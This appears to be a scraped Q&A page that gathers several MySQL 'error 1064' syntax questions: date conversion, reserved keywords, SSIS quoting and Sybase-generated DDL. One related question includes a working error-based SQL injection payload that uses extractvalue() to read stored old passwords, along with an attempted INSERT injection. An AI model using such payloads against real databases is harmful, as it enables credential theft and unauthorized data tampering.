Conversion of any format of date in mysql 8.0 - mysql

I am trying to insert values into a table:
INSERT INTO EMP VALUES (7876,'ADAMS','CLERK',7788,convert(datetime,'13-JUL-2019',101),1100,NULL,20);
But I receive the error below:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''13-JUL-2019',101),1100,NULL,20)' at line 1.
Tried different syntaxes, however I couldn't solve this.
Please some one help.
Thank you.

The convert(datetime,'13-JUL-2019',101) syntax is for MS SQL Server / Sybase.
Instead, use STR_TO_DATE.

Related

INSERT Statement in XPATH SQL Injection

I was trying to hack my database and used a method known as error based SQL Injection using extractvalue functions.
I was successful in getting the database tables and columns using the below payload:
crmnotes WHERE id=1 AND extractvalue(0x0a,concat(0x0a,(select concat(oldpasswords) from ofform6_mniterp.entity WHERE userid=0x6d6e69746a6373313534 limit 0,1))) #
Now, I'm unable to use INSERT statement in place of SELECT to insert some data in database using this exploit.
I tried to make many INSERT payloads but each time getting syntax error.
One of the INSERT payload I have used:
crmnotes WHERE id=1 AND extractvalue(0x0a,concat(0x0a,(INSERT INTO ofform6_mniterp.entity(userid) VALUES(0x6d6e69746a6130303031))))
Error Received:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'INTO ofform6_mniterp.entity(userid) VALUES(0x6d6e69746a6130303031))))

Linq to sql monodevelop

I am trying to use linq to sql in monodeveolop when i try to retrieve anything from the table i get that error
check the manual that corresponds to your MySQL server version for the right syntax to use near '[id], [name]
FROM [test]' at line 1
so any help please
Turns out that the problem was with mysql so i changed my database to sqlite and everything is okay now. but still don't know why it doesn't work with mysql.

SQL "use" command not working in MySQL 5.7

I am having problems getting the SQL "use" command to work in MySQL 5.7.
I have a database 'mydb' with a 'character' table. (At the moment, the table is empty, but I don't think that should matter here).
Explicitly using "use" gives me an error:
use mydb;
select count(*) from character;
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'character' at line 1 0.000 sec
However, the following line, which does not use "use", works okay:
select count(*) from mydb.character;
Does anyone know what I am doing wrong? Admittedly, I am quite new to SQL. The full output is shown below:
character is a reserved keyword in MySQL. Hence you get the error when you select from that table. Escape with `` to avoid this. Or use names other than reserved keywords for your tablenames.
Reserved Keywords in MySQL

SSIS DataFlow error when inserting a MySQL Table

I'm not being able to transfer some SQL-MySQL data using SSIS.
I've done the same thing with other packages for different tables but this time I can't.
Here's a screenshot, data is being retrieved absolutely fine from the SQL server.
And here's a shoot if the progress tab.
First error shown in the Progress tab is as follows:
[dest mysql [190]] Error: An exception has occurred during data insertion, the message returned from the provider is:
ERROR [23000] [MySQL][ODBC 3.51 Driver][mysqld-5.6.16]You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '"persona_id", "franqueos", "reiteros", "pcrc_id", "fecha") VALUES (55, 12, 1, 1,' at line 1
I'm not sure on how to approach the situation in order to solve it.
Thank you.
Your MySQL database needs to have the ANSI_QUOTES SQL_MODE option enabled. Or check whether null is allowed on columns, particularity for fecha field in your mysql database table.
Have a look of this as well: Workaround - Writing to a MySQL database from SSIS Bug

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version

I am using Sybase Power Designer to create a database from a physical data model (Sybase creates an SQL file) . When i import the SQL file with phpMyAdmin I have the following error:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'if exists(select 1 from sys.sysforeignkey where role='FK_ARTWORK_CREATES_ARTIST'' at line 7 .
Any ideas? Could this error appear due to errors on the physical model or there is another problem?
This is the code :
if exists(select 1 from sys.sysforeignkey where role='FK_ARTWORK_HAS_BUY') then
alter table artwork
delete foreign key FK_ARTWORK_HAS_BUY
end if;
The error you are getting is from MySQL. Regardless of the tool used to generate SQL, the database seems to be MySQL (or something is terribly wrong with your systems if they are confused and think they are MySQL).
The MySQL if statement (documented here) has to be inside a stored program. That means that this code only compiles inside a stored procedure, user defined function, or trigger. It doesn't "just work" on its own.
In addition, MySQL doesn't have sys tables. It uses information_schema tables. My strongest suggestion is to use tools appropriate for your actual database. If you are using a tool to generate Sybase, then use Sybase as the destination database. If you are using MySQL, then use a tool to generate MySQL code. Or, better yet, learn how to write the commands yourself.
Finally, if you intend to use Sybase, then connect to the correct database and your problem should be fixed.
As I can't post here, and sqlfiddle.com temporary unavailable, I decided to post code with correct syntax for Sybase on the PasteBin